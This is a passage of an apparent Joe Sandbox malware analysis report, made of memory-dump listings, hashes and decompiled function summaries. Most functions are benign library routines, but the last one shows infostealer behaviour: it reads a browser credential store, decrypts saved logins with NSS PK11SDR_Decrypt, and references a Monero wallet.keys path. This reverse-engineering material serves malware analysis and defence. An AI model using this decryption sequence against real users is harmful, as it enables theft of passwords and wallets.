Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0737353039a518afc055c385a3fb9e099c990b21bce4b8aa1c9e04adc02186b
Instruction ID: c6ba9c700149808292418cbee6e98a309c7b72eabd3cbac9a5ede661e75121ab
Opcode Fuzzy Hash: f0737353039a518afc055c385a3fb9e099c990b21bce4b8aa1c9e04adc02186b
Instruction Fuzzy Hash: B851A3B250C204DFD701AE1ADC816BAF7E8AFA4710F26482DE6C6D3350EA365945DB83

Function 00D2CE62 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7142b1a15ee0fa04a837c8e405c322d28e26b568cffb191c9bf51f95411c701
Instruction ID: 013acc62d74dca20380cfbf006d053ca397e0e0a8b520f1f1cd7b7b8503be73e
Opcode Fuzzy Hash: d7142b1a15ee0fa04a837c8e405c322d28e26b568cffb191c9bf51f95411c701
Instruction Fuzzy Hash: 533126F361D620DBD3406E15AD8153EB7EBAFA8308F26493DE2C643314E5328D01E663

Function 00B322BD Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcfddb2ea3a2defe89ddc10e9b51c640768905edc6b9ba424b1acf76e9c779e6
Instruction ID: f14069df48d5e0a1fff832016c0b8ad5f5568685f7aca10688978089a4feb3c0
Opcode Fuzzy Hash: bcfddb2ea3a2defe89ddc10e9b51c640768905edc6b9ba424b1acf76e9c779e6
Instruction Fuzzy Hash: A5214BF3B181106BE3189E2CDCC17B6B7D6EFD4320F2A463DD280C3384E53954048696

Function 00889750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6CAF55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CACE1A5), ref: 6CAF5606
LoadLibraryW.KERNEL32(gdi32,?,6CACE1A5), ref: 6CAF560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CAF5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CAF563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CAF566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CAF567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CAF5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CAF56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CAF56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CAF56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CAF56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CAF5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CAF572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CAF5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CAF5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CAF577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CAF5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CAF57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CAF57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CAF57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CAF57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CAF57FF

Strings

ShowWindow, xrefs: 6CAF56DE
GetDpiForWindow, xrefs: 6CAF5690
LoadCursorW, xrefs: 6CAF5774
StretchDIBits, xrefs: 6CAF57CC
RegisterClassW, xrefs: 6CAF56AC
GetMonitorInfoW, xrefs: 6CAF57A2
AreDpiAwarenessContextsEqual, xrefs: 6CAF5637
CreateSolidBrush, xrefs: 6CAF57E4
CreateWindowExW, xrefs: 6CAF56C5
GetSystemMetricsForDpi, xrefs: 6CAF5677
GetThreadDpiAwarenessContext, xrefs: 6CAF562D
SetWindowLongPtrW, xrefs: 6CAF57B7
LoadIconW, xrefs: 6CAF575B
GetWindowDC, xrefs: 6CAF5710
ReleaseDC, xrefs: 6CAF5742
user32, xrefs: 6CAF5601
EnableNonClientDpiScaling, xrefs: 6CAF5666
DeleteObject, xrefs: 6CAF57F9
gdi32, xrefs: 6CAF560A
FillRect, xrefs: 6CAF5729
SetWindowPos, xrefs: 6CAF56F7
MonitorFromWindow, xrefs: 6CAF578D

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: c8201c3914cc462fafd8fe35720392b6bccf0e3829d012d15e6548d2547e9e7c
Instruction ID: 3d22511de59427c15fc8db677c8b2405afd4b3931a53bf91f2af2b23cc159d14
Opcode Fuzzy Hash: c8201c3914cc462fafd8fe35720392b6bccf0e3829d012d15e6548d2547e9e7c
Instruction Fuzzy Hash: 875175B5B117469BDB009F358D0992A3BF9AB06755B148829F921E3F42EF74CC41CFA0

Function 6CADCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAA582D), ref: 6CADCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAA582D), ref: 6CADCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB0FE98,?,?,?,?,?,6CAA582D), ref: 6CADCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CADCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CADCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CADCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CADCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CADCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CADCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CADCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CADCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CADCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CADCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CADCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CADCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CADCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CADCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CADCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CADCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CADCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CADCE8A

Strings

leaf, xrefs: 6CADCC66
noiostacks, xrefs: 6CADCCBE
samplingallthreads, xrefs: 6CADCE2C
nostacksampling, xrefs: 6CADCD7C
preferencereads, xrefs: 6CADCD92
markersallthreads, xrefs: 6CADCE42
unregisteredthreads, xrefs: 6CADCE58
stackwalk, xrefs: 6CADCCF8
jsallocations, xrefs: 6CADCD0E
fileio, xrefs: 6CADCC92
notimerresolutionchange, xrefs: 6CADCE00
Unrecognized feature "%s"., xrefs: 6CADCEA0
cpuallthreads, xrefs: 6CADCE16
power, xrefs: 6CADCE84
fileioall, xrefs: 6CADCCA8
default, xrefs: 6CADCC21
mainthreadio, xrefs: 6CADCC7C
java, xrefs: 6CADCC37
seqstyle, xrefs: 6CADCCE6
processcpu, xrefs: 6CADCE6E
ipcmessages, xrefs: 6CADCDBE
nativeallocations, xrefs: 6CADCDA8
screenshots, xrefs: 6CADCCD4
audiocallbacktracing, xrefs: 6CADCDD4

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 6e12848b527844ef85041c2834d2e7d95a82e5e42af8e1b473e3b6822660c4ea
Instruction ID: 6d4b5c2b295ace16bfb8f3039dd80b4fcc60174def48e0d373b09836604335db
Opcode Fuzzy Hash: 6e12848b527844ef85041c2834d2e7d95a82e5e42af8e1b473e3b6822660c4ea
Instruction Fuzzy Hash: 3B51D9D0B452A522FE0034156D10BAF5B08FB1325EFA5003AFD49A2EC0FF24B29986B7

Function 6CAA4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAA44B2,6CB1E21C,6CB1F7F8), ref: 6CAA473E
Part of subcall function 6CAA4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAA474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAA44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAA44D2
InitOnceExecuteOnce.KERNEL32(6CB1F80C,6CA9F240,?,?), ref: 6CAA451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAA455C
LoadLibraryW.KERNEL32(?), ref: 6CAA4592
InitializeCriticalSection.KERNEL32(6CB1F770), ref: 6CAA45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAA45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CAA45BB
InitOnceExecuteOnce.KERNEL32(6CB1F818,6CA9F240,?,?), ref: 6CAA4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CAA4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CAA4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAA466D
VerSetConditionMask.NTDLL ref: 6CAA469F
VerSetConditionMask.NTDLL ref: 6CAA46AB
VerSetConditionMask.NTDLL ref: 6CAA46B2
VerSetConditionMask.NTDLL ref: 6CAA46B9
VerSetConditionMask.NTDLL ref: 6CAA46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAA46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CAA46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CAA46FD

Strings

WRusr.dll, xrefs: 6CAA44B5
kernel32.dll, xrefs: 6CAA44CD
l, xrefs: 6CAA4578
NativeNtBlockSet_Write, xrefs: 6CAA46F7
user32.dll, xrefs: 6CAA4557, 6CAA463F

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 9c7c2cbc5801722beb3ed6c7be74846ce3799af81e3f9cd1ea0da2912139a142
Instruction ID: 21ee3b19a42e17ce6a624d9c27775a56fb910ad2cfaf7e16a61bb25e35a64687
Opcode Fuzzy Hash: 9c7c2cbc5801722beb3ed6c7be74846ce3799af81e3f9cd1ea0da2912139a142
Instruction Fuzzy Hash: 7861F7B1604384DFEB009FA5CC0ABA97BB8EB46308F18855CF5049BE51DBB199C6CF91

Function 0087C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0087C9A5

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,010FCAA0,00000000,?,0089144C,00000000,?,?), ref: 0087CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0087CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0087CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0087CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0087CAD9
StrStrA.SHLWAPI(?,010FC908,00890B52), ref: 0087CAF7
StrStrA.SHLWAPI(00000000,010FC9F8), ref: 0087CB1E
StrStrA.SHLWAPI(?,010FD598,00000000,?,00891458,00000000,?,00000000,00000000,?,010F8A88,00000000,?,00891454,00000000,?), ref: 0087CCA2
StrStrA.SHLWAPI(00000000,010FD6F8), ref: 0087CCB9

Part of subcall function 0087C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0087C871
Part of subcall function 0087C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0087C87C
Part of subcall function 0087C820: PK11_GetInternalKeySlot.NSS3 ref: 0087C88A
Part of subcall function 0087C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0087C8A5
Part of subcall function 0087C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0087C8EB
Part of subcall function 0087C820: PK11_FreeSlot.NSS3(?), ref: 0087C961

StrStrA.SHLWAPI(?,010FD6F8,00000000,?,0089145C,00000000,?,00000000,010F8B58), ref: 0087CD5A
StrStrA.SHLWAPI(00000000,010F8A38), ref: 0087CD71

Part of subcall function 0087C820: lstrcat.KERNEL32(?,00890B46), ref: 0087C943
Part of subcall function 0087C820: lstrcat.KERNEL32(?,00890B47), ref: 0087C957
Part of subcall function 0087C820: lstrcat.KERNEL32(?,00890B4E), ref: 0087C978

lstrlen.KERNEL32(00000000), ref: 0087CE44
CloseHandle.KERNEL32(00000000), ref: 0087CE9C
NSS_Shutdown.NSS3 ref: 0087CEAA

Strings

, xrefs: 0087C9C6

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
